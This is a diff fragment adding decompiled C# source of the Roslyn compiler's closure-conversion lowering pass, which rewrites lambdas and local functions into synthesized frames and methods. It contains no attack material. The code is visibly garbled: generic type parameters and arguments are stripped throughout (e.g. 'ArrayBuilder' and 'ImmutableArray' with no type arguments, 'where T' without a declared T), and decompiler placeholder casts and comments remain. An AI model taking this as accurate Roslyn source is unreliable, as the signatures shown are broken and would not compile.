+ } + + private static void InsertAndFreePrologue(ArrayBuilder result, ArrayBuilder prologue) where T : BoundNode + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = prologue.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (current is BoundStatement boundStatement) + { + result.Add(boundStatement); + } + else + { + result.Add((BoundStatement)new BoundExpressionStatement(current.Syntax, (BoundExpression)(object)current)); + } + } + prologue.Free(); + } + + private BoundNode IntroduceFrame(BoundNode node, Analysis.ClosureEnvironment env, Func, ArrayBuilder, BoundNode> F) + { + SynthesizedClosureEnvironment synthesizedEnvironment = env.SynthesizedEnvironment; + ImmutableArray typeArguments = ImmutableArray.Create(ImmutableArrayExtensions.SelectAsArray(_currentTypeParameters, (Func)((TypeParameterSymbol t) => TypeWithAnnotations.Create(t))), 0, synthesizedEnvironment.Arity); + NamedTypeSymbol namedTypeSymbol = synthesizedEnvironment.ConstructIfGeneric(typeArguments); + LocalSymbol localSymbol = new SynthesizedLocal(_topLevelMethod, TypeWithAnnotations.Create(namedTypeSymbol), (SynthesizedLocalKind)30, synthesizedEnvironment.ScopeSyntaxOpt, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + SyntaxNode syntax = node.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if ((object)synthesizedEnvironment.Constructor != null) + { + MethodSymbol constructor = synthesizedEnvironment.Constructor.AsMember(namedTypeSymbol); + instance.Add((BoundExpression)new BoundAssignmentOperator(syntax, new BoundLocal(syntax, localSymbol, null, namedTypeSymbol), new BoundObjectCreationExpression(syntax, constructor), namedTypeSymbol)); + } + CapturedSymbolReplacement value = null; + if ((object)_innermostFramePointer != null) + { + proxies.TryGetValue(_innermostFramePointer, out value); + if (env.CapturesParent) + { + LambdaCapturedVariable lambdaCapturedVariable = LambdaCapturedVariable.Create(synthesizedEnvironment, _innermostFramePointer, ref _synthesizedFieldNameIdDispenser); + FieldSymbol fieldSymbol = lambdaCapturedVariable.AsMember(namedTypeSymbol); + BoundExpression boundExpression = new BoundFieldAccess(syntax, new BoundLocal(syntax, localSymbol, null, namedTypeSymbol), fieldSymbol, null); + BoundExpression right = FrameOfType(syntax, fieldSymbol.Type as NamedTypeSymbol); + BoundExpression boundExpression2 = new BoundAssignmentOperator(syntax, boundExpression, right, boundExpression.Type); + instance.Add(boundExpression2); + if (CompilationState.Emitting) + { + synthesizedEnvironment.AddHoistedField(lambdaCapturedVariable); + ((PEModuleBuilder)CompilationState.ModuleBuilderOpt).AddSynthesizedDefinition((NamedTypeSymbol)synthesizedEnvironment, (IFieldDefinition)(object)lambdaCapturedVariable.GetCciAdapter()); + } + proxies[_innermostFramePointer] = new CapturedToFrameSymbolReplacement(lambdaCapturedVariable, isReusable: false); + } + } + foreach (Symbol capturedVariable in env.CapturedVariables) + { + InitVariableProxy(syntax, capturedVariable, localSymbol, instance); + } + Symbol innermostFramePointer = _innermostFramePointer; + if (!localSymbol.Type.IsValueType) + { + _innermostFramePointer = localSymbol; + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.Add(localSymbol); + _framePointers.Add(synthesizedEnvironment, localSymbol); + BoundNode result = F(instance, instance2); + _innermostFramePointer = innermostFramePointer; + if ((object)_innermostFramePointer != null) + { + if (value != null) + { + proxies[_innermostFramePointer] = value; + return result; + } + proxies.Remove(_innermostFramePointer); + } + return result; + } + + private void InitVariableProxy(SyntaxNode syntax, Symbol symbol, LocalSymbol framePointer, ArrayBuilder prologue) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Invalid comparison between Unknown and I4 + if (!proxies.TryGetValue(symbol, out CapturedSymbolReplacement value)) + { + return; + } + SymbolKind kind = symbol.Kind; + BoundExpression boundExpression; + if ((int)kind != 8) + { + if ((int)kind != 13) + { + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + ParameterSymbol parameterSymbol = (ParameterSymbol)symbol; + if (!_parameterMap.TryGetValue(parameterSymbol, out var value2)) + { + value2 = parameterSymbol; + } + boundExpression = new BoundParameter(syntax, value2); + } + else + { + LocalSymbol localSymbol = (LocalSymbol)symbol; + if (_assignLocals == null || !_assignLocals.Contains(localSymbol)) + { + return; + } + if (!localMap.TryGetValue(localSymbol, out LocalSymbol value3)) + { + value3 = localSymbol; + } + boundExpression = new BoundLocal(syntax, value3, null, value3.Type); + } + BoundExpression left = value.Replacement(syntax, (NamedTypeSymbol frameType1) => new BoundLocal(syntax, framePointer, null, framePointer.Type)); + BoundAssignmentOperator boundAssignmentOperator = new BoundAssignmentOperator(syntax, left, boundExpression, boundExpression.Type); + if ((int)_currentMethod.MethodKind == 1 && symbol == _currentMethod.ThisParameter && !_seenBaseCall && !(_currentMethod is SynthesizedPrimaryConstructor)) + { + _thisProxyInitDeferred = boundAssignmentOperator; + } + else + { + prologue.Add((BoundExpression)boundAssignmentOperator); + } + } + + protected override BoundNode VisitUnhoistedParameter(BoundParameter node) + { + if (_parameterMap.TryGetValue(node.ParameterSymbol, out var value)) + { + return new BoundParameter(node.Syntax, value, node.HasErrors); + } + return base.VisitUnhoistedParameter(node); + } + + public override BoundNode VisitThisReference(BoundThisReference node) + { + if (!(_currentMethod == _topLevelMethod) && !(_topLevelMethod.ThisParameter == null)) + { + return FramePointer(node.Syntax, (NamedTypeSymbol)node.Type); + } + return node; + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + if (_currentMethod.IsStatic || !TypeSymbol.Equals(_currentMethod.ContainingType, _topLevelMethod.ContainingType, (TypeCompareKind)0)) + { + return FramePointer(node.Syntax, _topLevelMethod.ContainingType); + } + return node; + } + + public override BoundNode VisitMethodDefIndex(BoundMethodDefIndex node) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + TypeSymbol type = VisitType(node.Type); + MethodKind methodKind = node.Method.MethodKind; + bool flag = (((int)methodKind == 0 || (int)methodKind == 17) ? true : false); + MethodSymbol method = (flag ? Analysis.GetNestedFunctionInTree(_analysis.ScopeTree, node.Method.OriginalDefinition).SynthesizedLoweredMethod : node.Method); + return node.Update(method, type); + } + + private void RemapLocalFunction(SyntaxNode syntax, MethodSymbol localFunc, out BoundExpression receiver, out MethodSymbol method, ref ImmutableArray arguments, ref ImmutableArray argRefKinds) + { + SynthesizedClosureMethod synthesizedLoweredMethod = Analysis.GetNestedFunctionInTree(_analysis.ScopeTree, localFunc.OriginalDefinition).SynthesizedLoweredMethod; + int extraSynthesizedParameterCount = synthesizedLoweredMethod.ExtraSynthesizedParameterCount; + if (extraSynthesizedParameterCount != 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(synthesizedLoweredMethod.ParameterCount); + instance.AddRange(arguments); + for (int i = synthesizedLoweredMethod.ParameterCount - extraSynthesizedParameterCount; i < synthesizedLoweredMethod.ParameterCount; i++) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)synthesizedLoweredMethod.Parameters[i].Type.OriginalDefinition; + if (namedTypeSymbol.Arity > 0) + { + ImmutableArray constructedFromTypeParameters = ((SynthesizedClosureEnvironment)namedTypeSymbol).ConstructedFromTypeParameters; + ImmutableArray immutableArray = TypeMap.SubstituteTypeParameters(constructedFromTypeParameters); + namedTypeSymbol = namedTypeSymbol.Construct(immutableArray); + } + BoundExpression boundExpression = FrameOfType(syntax, namedTypeSymbol); + instance.Add(boundExpression); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(instance.Count); + if (!argRefKinds.IsDefault) + { + instance2.AddRange(argRefKinds); + } + else + { + instance2.AddMany((RefKind)0, arguments.Length); + } + instance2.AddMany((RefKind)1, extraSynthesizedParameterCount); + arguments = instance.ToImmutableAndFree(); + argRefKinds = instance2.ToImmutableAndFree(); + } + method = synthesizedLoweredMethod; + RemapLambdaOrLocalFunction(syntax, localFunc, SubstituteTypeArguments(localFunc.TypeArgumentsWithAnnotations), synthesizedLoweredMethod.ClosureKind, ref method, out receiver, out var _); + } + + private ImmutableArray SubstituteTypeArguments(ImmutableArray typeArguments) + { + if (typeArguments.IsEmpty) + { + return typeArguments; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(typeArguments.Length); + ImmutableArray.Enumerator enumerator = typeArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations typeWithAnnotations = enumerator.Current; + TypeWithAnnotations previous; + do + { + previous = typeWithAnnotations; + typeWithAnnotations = TypeMap.SubstituteType(previous); + } + while (!TypeSymbol.Equals(previous.Type, typeWithAnnotations.Type, (TypeCompareKind)0)); + instance.Add(typeWithAnnotations); + } + return instance.ToImmutableAndFree(); + } + + private void RemapLambdaOrLocalFunction(SyntaxNode syntax, MethodSymbol originalMethod, ImmutableArray typeArgumentsOpt, ClosureKind closureKind, ref MethodSymbol synthesizedMethod, out BoundExpression receiver, out NamedTypeSymbol constructedFrame) + { + NamedTypeSymbol containingType = synthesizedMethod.ContainingType; + SynthesizedClosureEnvironment synthesizedClosureEnvironment = containingType as SynthesizedClosureEnvironment; + int num = (synthesizedClosureEnvironment?.Arity ?? 0) + synthesizedMethod.Arity; + ImmutableArray immutableArray = ImmutableArray.Create(ImmutableArrayExtensions.SelectAsArray(_currentTypeParameters, (Func)((TypeParameterSymbol t) => TypeWithAnnotations.Create(t))), 0, num - originalMethod.Arity); + if (!typeArgumentsOpt.IsDefault) + { + immutableArray = ImmutableArrayExtensions.Concat(immutableArray, typeArgumentsOpt); + } + if ((object)synthesizedClosureEnvironment != null && synthesizedClosureEnvironment.Arity != 0) + { + ImmutableArray typeArguments = ImmutableArray.Create(immutableArray, 0, synthesizedClosureEnvironment.Arity); + immutableArray = ImmutableArray.Create(immutableArray, synthesizedClosureEnvironment.Arity, immutableArray.Length - synthesizedClosureEnvironment.Arity); + constructedFrame = synthesizedClosureEnvironment.Construct(typeArguments); + } + else + { + constructedFrame = containingType; + } + synthesizedMethod = synthesizedMethod.AsMember(constructedFrame); + if (synthesizedMethod.IsGenericMethod) + { + synthesizedMethod = synthesizedMethod.Construct(immutableArray); + } + switch (closureKind) + { + case ClosureKind.Singleton: + { + FieldSymbol fieldSymbol = synthesizedClosureEnvironment.SingletonCache.AsMember(constructedFrame); + receiver = new BoundFieldAccess(syntax, null, fieldSymbol, null); + break; + } + case ClosureKind.Static: + receiver = new BoundTypeExpression(syntax, null, synthesizedMethod.ContainingType); + break; + default: + receiver = FrameOfType(syntax, constructedFrame); + break; + } + } + + public override BoundNode VisitCall(BoundCall node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + if ((int)node.Method.MethodKind == 17) + { + ImmutableArray arguments = VisitList(node.Arguments); + ImmutableArray argRefKinds = node.ArgumentRefKindsOpt; + TypeSymbol type = VisitType(node.Type); + RemapLocalFunction(node.Syntax, node.Method, out var receiver, out var method, ref arguments, ref argRefKinds); + return node.Update(receiver, node.InitialBindingReceiverIsSubjectToCloning, method, arguments, node.ArgumentNamesOpt, argRefKinds, node.IsDelegateCall, node.Expanded, node.InvokedAsExtensionMethod, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, type); + } + BoundNode boundNode = base.VisitCall(node); + if (boundNode.Kind != BoundKind.Call) + { + return boundNode; + } + BoundCall boundCall = (BoundCall)boundNode; + if (!_seenBaseCall && _currentMethod == _topLevelMethod && node.IsConstructorInitializer()) + { + _seenBaseCall = true; + if (_thisProxyInitDeferred != null) + { + return new BoundSequence(node.Syntax, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)boundCall), _thisProxyInitDeferred, boundCall.Type); + } + } + return boundCall; + } + + private BoundSequence RewriteSequence(BoundSequence node, ArrayBuilder prologue, ArrayBuilder newLocals) + { + RewriteLocals(node.Locals, newLocals); + ImmutableArray.Enumerator enumerator = node.SideEffects.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + BoundExpression boundExpression = (BoundExpression)Visit(current); + if (boundExpression != null) + { + prologue.Add(boundExpression); + } + } + BoundExpression value = (BoundExpression)Visit(node.Value); + TypeSymbol type = VisitType(node.Type); + return node.Update(newLocals.ToImmutableAndFree(), prologue.ToImmutableAndFree(), value, type); + } + + public override BoundNode VisitBlock(BoundBlock node) + { + if (_frames.TryGetValue(node, out var value)) + { + return IntroduceFrame(node, value, (ArrayBuilder prologue, ArrayBuilder newLocals) => RewriteBlock(node, prologue, newLocals)); + } + return RewriteBlock(node, ArrayBuilder.GetInstance(), ArrayBuilder.GetInstance()); + } + + private BoundBlock RewriteBlock(BoundBlock node, ArrayBuilder prologue, ArrayBuilder newLocals) + { + RewriteLocals(node.Locals, newLocals); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (prologue.Count > 0) + { + instance.Add(BoundSequencePoint.CreateHidden()); + } + InsertAndFreePrologue(instance, prologue); + ImmutableArray.Enumerator enumerator = node.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + BoundStatement boundStatement = (BoundStatement)Visit(current); + if (boundStatement != null) + { + instance.Add(boundStatement); + } + } + BoundBlockInstrumentation boundBlockInstrumentation = node.Instrumentation; + if (boundBlockInstrumentation != null) + { + BoundStatement prologue2 = (BoundStatement)Visit(boundBlockInstrumentation.Prologue); + BoundStatement epilogue = (BoundStatement)Visit(boundBlockInstrumentation.Epilogue); + boundBlockInstrumentation = boundBlockInstrumentation.Update(boundBlockInstrumentation.Local, prologue2, epilogue); + } + return node.Update(newLocals.ToImmutableAndFree(), node.LocalFunctions, node.HasUnsafeModifier, boundBlockInstrumentation, instance.ToImmutableAndFree()); + } + + public override BoundNode VisitScope(BoundScope node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + RewriteLocals(node.Locals, instance); + ImmutableArray statements = VisitList(node.Statements); + if (instance.Count == 0) + { + instance.Free(); + return new BoundStatementList(node.Syntax, statements); + } + return node.Update(instance.ToImmutableAndFree(), statements); + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + if (_frames.TryGetValue(node, out var value)) + { + return IntroduceFrame(node, value, (ArrayBuilder prologue, ArrayBuilder newLocals) => RewriteCatch(node, prologue, newLocals)); + } + return RewriteCatch(node, ArrayBuilder.GetInstance(), ArrayBuilder.GetInstance()); + } + + private BoundNode RewriteCatch(BoundCatchBlock node, ArrayBuilder prologue, ArrayBuilder newLocals) + { + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + RewriteLocals(node.Locals, newLocals); + ImmutableArray locals = newLocals.ToImmutableAndFree(); + BoundExpression boundExpression = null; + BoundStatementList boundStatementList = (BoundStatementList)Visit(node.ExceptionFilterPrologueOpt); + BoundExpression boundExpression2 = (BoundExpression)Visit(node.ExceptionFilterOpt); + if (node.ExceptionSourceOpt != null) + { + boundExpression = (BoundExpression)Visit(node.ExceptionSourceOpt); + if (prologue.Count > 0) + { + boundExpression = new BoundSequence(boundExpression.Syntax, ImmutableArray.Create(), prologue.ToImmutable(), boundExpression, boundExpression.Type); + } + } + else if (prologue.Count > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(prologue.Count); + Enumerator enumerator = prologue.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add((BoundStatement)new BoundExpressionStatement(current.Syntax, current) + { + WasCompilerGenerated = true + }); + } + if (boundStatementList != null) + { + instance.AddRange(boundStatementList.Statements); + } + boundStatementList = new BoundStatementList(boundExpression2.Syntax, instance.ToImmutableAndFree()); + } + prologue.Free(); + TypeSymbol exceptionTypeOpt = VisitType(node.ExceptionTypeOpt); + BoundBlock body = (BoundBlock)Visit(node.Body); + return node.Update(locals, boundExpression, exceptionTypeOpt, boundStatementList, boundExpression2, body, node.IsSynthesizedAsyncCatchAll); + } + + public override BoundNode VisitSequence(BoundSequence node) + { + if (_frames.TryGetValue(node, out var value)) + { + return IntroduceFrame(node, value, (ArrayBuilder prologue, ArrayBuilder newLocals) => RewriteSequence(node, prologue, newLocals)); + } + return RewriteSequence(node, ArrayBuilder.GetInstance(), ArrayBuilder.GetInstance()); + } + + public override BoundNode VisitStatementList(BoundStatementList node) + { + if (_frames.TryGetValue(node, out var value)) + { + return IntroduceFrame(node, value, delegate(ArrayBuilder prologue, ArrayBuilder newLocals) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + InsertAndFreePrologue(instance, prologue); + ImmutableArray.Enumerator enumerator = node.Statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + instance.Add((BoundStatement)Visit(current)); + } + return new BoundBlock(node.Syntax, newLocals.ToImmutableAndFree(), instance.ToImmutableAndFree(), node.HasErrors); + }); + } + return base.VisitStatementList(node); + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + if (node.Argument.Kind == BoundKind.Lambda) + { + return RewriteLambdaConversion((BoundLambda)node.Argument); + } + MethodSymbol? methodOpt = node.MethodOpt; + if ((object)methodOpt != null && (int)methodOpt.MethodKind == 17) + { + ImmutableArray arguments = default(ImmutableArray); + ImmutableArray argRefKinds = default(ImmutableArray); + RemapLocalFunction(node.Syntax, node.MethodOpt, out var receiver, out var method, ref arguments, ref argRefKinds); + return new BoundDelegateCreationExpression(node.Syntax, receiver, method, node.IsExtensionMethod, node.WasTargetTyped, VisitType(node.Type)); + } + return base.VisitDelegateCreationExpression(node); + } + + public override BoundNode VisitFunctionPointerLoad(BoundFunctionPointerLoad node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)node.TargetMethod.MethodKind == 17) + { + ImmutableArray arguments = default(ImmutableArray); + ImmutableArray argRefKinds = default(ImmutableArray); + RemapLocalFunction(node.Syntax, node.TargetMethod, out var _, out var method, ref arguments, ref argRefKinds); + return node.Update(method, node.ConstrainedToTypeOpt, node.Type); + } + return base.VisitFunctionPointerLoad(node); + } + + public override BoundNode VisitConversion(BoundConversion conversion) + { + if (conversion.ConversionKind == ConversionKind.AnonymousFunction) + { + BoundExpression boundExpression = (BoundExpression)RewriteLambdaConversion((BoundLambda)conversion.Operand); + if (_inExpressionLambda && conversion.ExplicitCastInCode) + { + boundExpression = new BoundConversion(conversion.Syntax, boundExpression, conversion.Conversion, isBaseConversion: false, @checked: false, explicitCastInCode: true, conversionGroupOpt: conversion.ConversionGroupOpt, constantValueOpt: conversion.ConstantValueOpt, type: conversion.Type); + } + return boundExpression; + } + return base.VisitConversion(conversion); + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + RewriteLambdaOrLocalFunction(node, out var _, out var _, out var _, out var _, out var _, out var _); + return new BoundNoOpStatement(node.Syntax, NoOpStatementFlavor.Default); + } + + private DebugId GetLambdaId(SyntaxNode syntax, ClosureKind closureKind, int closureOrdinal) + { + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode val; + bool flag; + if (syntax is AnonymousFunctionExpressionSyntax anonymousFunctionExpressionSyntax) + { + val = (SyntaxNode)(object)anonymousFunctionExpressionSyntax.Body; + flag = true; + } + else if (syntax is LocalFunctionStatementSyntax localFunctionStatementSyntax) + { + val = (SyntaxNode)(((object)localFunctionStatementSyntax.Body) ?? ((object)localFunctionStatementSyntax.ExpressionBody?.Expression)); + if (val == null) + { + val = (SyntaxNode)(object)localFunctionStatementSyntax; + flag = false; + } + else + { + flag = true; + } + } + else if (LambdaUtilities.IsQueryPairLambda(syntax)) + { + val = syntax; + flag = false; + } + else + { + val = syntax; + flag = true; + } + DebugId val2 = default(DebugId); + DebugId val3 = default(DebugId); + if (slotAllocatorOpt != null && slotAllocatorOpt.TryGetPreviousLambda(val, flag, ref val2)) + { + val3 = val2; + } + else + { + ((DebugId)(ref val3))._002Ector(_lambdaDebugInfoBuilder.Count, ((CommonPEModuleBuilder)CompilationState.ModuleBuilderOpt).CurrentGenerationOrdinal); + } + int num = _topLevelMethod.CalculateLocalSyntaxOffset(LambdaUtilities.GetDeclaratorPosition(val), val.SyntaxTree); + _lambdaDebugInfoBuilder.Add(new LambdaDebugInfo(num, val3, closureOrdinal)); + return val3; + } + + private SynthesizedClosureMethod RewriteLambdaOrLocalFunction(IBoundLambdaOrFunction node, out ClosureKind closureKind, out NamedTypeSymbol translatedLambdaContainer, out SynthesizedClosureEnvironment containerAsFrame, out BoundNode lambdaScope, out DebugId topLevelMethodId, out DebugId lambdaId) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + Analysis.NestedFunction function = Analysis.GetNestedFunctionInTree(_analysis.ScopeTree, node.Symbol); + SynthesizedClosureMethod synthesizedLoweredMethod = function.SynthesizedLoweredMethod; + closureKind = synthesizedLoweredMethod.ClosureKind; + translatedLambdaContainer = synthesizedLoweredMethod.ContainingType; + containerAsFrame = translatedLambdaContainer as SynthesizedClosureEnvironment; + topLevelMethodId = _analysis.GetTopLevelMethodId(); + lambdaId = synthesizedLoweredMethod.LambdaId; + if (function.ContainingEnvironmentOpt != null) + { + BoundNode tmpScope = null; + Analysis.VisitScopeTree(_analysis.ScopeTree, delegate(Analysis.Scope scope) + { + if (scope.DeclaredEnvironment == function.ContainingEnvironmentOpt) + { + tmpScope = scope.BoundNode; + } + }); + lambdaScope = tmpScope; + } + else + { + lambdaScope = null; + } + ((PEModuleBuilder)CompilationState.ModuleBuilderOpt).AddSynthesizedDefinition(translatedLambdaContainer, (IMethodDefinition)(object)synthesizedLoweredMethod.GetCciAdapter()); + ImmutableArray.Enumerator enumerator = node.Symbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + _parameterMap.Add(current, synthesizedLoweredMethod.Parameters[current.Ordinal]); + } + MethodSymbol currentMethod = _currentMethod; + ParameterSymbol currentFrameThis = _currentFrameThis; + ImmutableArray currentTypeParameters = _currentTypeParameters; + Symbol innermostFramePointer = _innermostFramePointer; + TypeMap currentLambdaBodyTypeMap = _currentLambdaBodyTypeMap; + ArrayBuilder addedStatements = _addedStatements; + ArrayBuilder addedLocals = _addedLocals; + _addedStatements = null; + _addedLocals = null; + _currentMethod = synthesizedLoweredMethod; + if (closureKind == ClosureKind.Static || closureKind == ClosureKind.Singleton) + { + _innermostFramePointer = (_currentFrameThis = null); + } + else + { + _currentFrameThis = synthesizedLoweredMethod.ThisParameter; + _framePointers.TryGetValue(translatedLambdaContainer, out _innermostFramePointer); + } + SynthesizedClosureEnvironment obj = containerAsFrame; + _currentTypeParameters = (((object)obj != null) ? ImmutableArrayExtensions.Concat(obj.TypeParameters, synthesizedLoweredMethod.TypeParameters) : synthesizedLoweredMethod.TypeParameters); + _currentLambdaBodyTypeMap = synthesizedLoweredMethod.TypeMap; + BoundBlock body = node.Body; + if (body != null) + { + BoundStatement body2 = AddStatementsIfNeeded((BoundStatement)VisitBlock(body)); + AddSynthesizedMethod(synthesizedLoweredMethod, body2); + } + _currentMethod = currentMethod; + _currentFrameThis = currentFrameThis; + _currentTypeParameters = currentTypeParameters; + _innermostFramePointer = innermostFramePointer; + _currentLambdaBodyTypeMap = currentLambdaBodyTypeMap; + _addedLocals = addedLocals; + _addedStatements = addedStatements; + return synthesizedLoweredMethod; + } + + private void AddSynthesizedMethod(MethodSymbol method, BoundStatement body) + { + if (_synthesizedMethods == null) + { + _synthesizedMethods = ArrayBuilder.GetInstance(); + } + _synthesizedMethods.Add(new TypeCompilationState.MethodWithBody(method, body, CompilationState.CurrentImportChain)); + } + + private BoundNode RewriteLambdaConversion(BoundLambda node) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Invalid comparison between Unknown and I4 + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + //IL_01c5: Unknown result type (might be due to invalid IL or missing references) + //IL_01cc: Unknown result type (might be due to invalid IL or missing references) + //IL_01d3: Unknown result type (might be due to invalid IL or missing references) + bool inExpressionLambda = _inExpressionLambda; + _inExpressionLambda = _inExpressionLambda || node.Type.IsExpressionTree(); + if (_inExpressionLambda) + { + TypeSymbol type = VisitType(node.Type); + BoundBlock body = (BoundBlock)Visit(node.Body); + node = node.Update(node.UnboundLambda, node.Symbol, body, node.Diagnostics, node.Binder, type); + BoundNode result = (inExpressionLambda ? node : ExpressionLambdaRewriter.RewriteLambda(node, CompilationState, TypeMap, base.RecursionDepth, Diagnostics)); + _inExpressionLambda = inExpressionLambda; + return result; + } + ClosureKind closureKind; + NamedTypeSymbol translatedLambdaContainer; + SynthesizedClosureEnvironment containerAsFrame; + BoundNode lambdaScope; + DebugId topLevelMethodId; + DebugId lambdaId; + MethodSymbol synthesizedMethod = RewriteLambdaOrLocalFunction(node, out closureKind, out translatedLambdaContainer, out containerAsFrame, out lambdaScope, out topLevelMethodId, out lambdaId); + RemapLambdaOrLocalFunction(node.Syntax, node.Symbol, default(ImmutableArray), closureKind, ref synthesizedMethod, out var receiver, out var constructedFrame); + TypeSymbol type2 = VisitType(node.Type); + BoundExpression boundExpression = new BoundDelegateCreationExpression(node.Syntax, receiver, synthesizedMethod, isExtensionMethod: false, wasTargetTyped: false, type2); + bool flag = closureKind == ClosureKind.Singleton && (int)_currentMethod.MethodKind != 14 && !synthesizedMethod.IsGenericMethod; + bool flag2 = lambdaScope != null && lambdaScope != Analysis.GetScopeParent(_analysis.ScopeTree, node.Body).BoundNode && InLoopOrLambda(node.Syntax, lambdaScope.Syntax); + if (flag || flag2) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(_currentMethod, node.Syntax, CompilationState, Diagnostics); + try + { + if (flag || (flag2 && (object)containerAsFrame != null)) + { + TypeSymbol type3 = containerAsFrame.TypeMap.SubstituteType(node.Type).Type; + if (!type3.ContainsMethodTypeParameter()) + { + string name = GeneratedNames.MakeLambdaCacheFieldName((closureKind == ClosureKind.General) ? (-1) : topLevelMethodId.Ordinal, topLevelMethodId.Generation, lambdaId.Ordinal, lambdaId.Generation); + SynthesizedLambdaCacheFieldSymbol synthesizedLambdaCacheFieldSymbol = new SynthesizedLambdaCacheFieldSymbol(translatedLambdaContainer, type3, name, _topLevelMethod, isReadOnly: false, closureKind == ClosureKind.Singleton); + ((PEModuleBuilder)CompilationState.ModuleBuilderOpt).AddSynthesizedDefinition(translatedLambdaContainer, (IFieldDefinition)(object)synthesizedLambdaCacheFieldSymbol.GetCciAdapter()); + BoundExpression left = syntheticBoundNodeFactory.Field(receiver, synthesizedLambdaCacheFieldSymbol.AsMember(constructedFrame)); + boundExpression = syntheticBoundNodeFactory.Coalesce(left, syntheticBoundNodeFactory.AssignmentExpression(left, boundExpression)); + } + } + else + { + LocalSymbol localSymbol = syntheticBoundNodeFactory.SynthesizedLocal(type2, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)31); + if (_addedLocals == null) + { + _addedLocals = ArrayBuilder.GetInstance(); + } + _addedLocals.Add(localSymbol); + if (_addedStatements == null) + { + _addedStatements = ArrayBuilder.GetInstance(); + } + BoundExpression left = syntheticBoundNodeFactory.Local(localSymbol); + _addedStatements.Add((BoundStatement)syntheticBoundNodeFactory.Assignment(left, syntheticBoundNodeFactory.Null(type2))); + boundExpression = syntheticBoundNodeFactory.Coalesce(left, syntheticBoundNodeFactory.AssignmentExpression(left, boundExpression)); + } + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)Diagnostics).Add(missingPredefinedMember.Diagnostic); + return new BoundBadExpression(syntheticBoundNodeFactory.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)node), node.Type); + } + } + return boundExpression; + } + + private static bool InLoopOrLambda(SyntaxNode lambdaSyntax, SyntaxNode scopeSyntax) + { + SyntaxNode parent = lambdaSyntax.Parent; + while (parent != null && parent != scopeSyntax) + { + SyntaxKind syntaxKind = parent.Kind(); + if (syntaxKind - 8642 <= SyntaxKind.List || syntaxKind - 8809 <= (SyntaxKind)3 || syntaxKind == SyntaxKind.ForEachVariableStatement) + { + return true; + } + parent = parent.Parent; + } + return false; + } + + public override BoundNode VisitLambda(BoundLambda node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/ClosureConversion.cs", 1764); + } +} diff --git 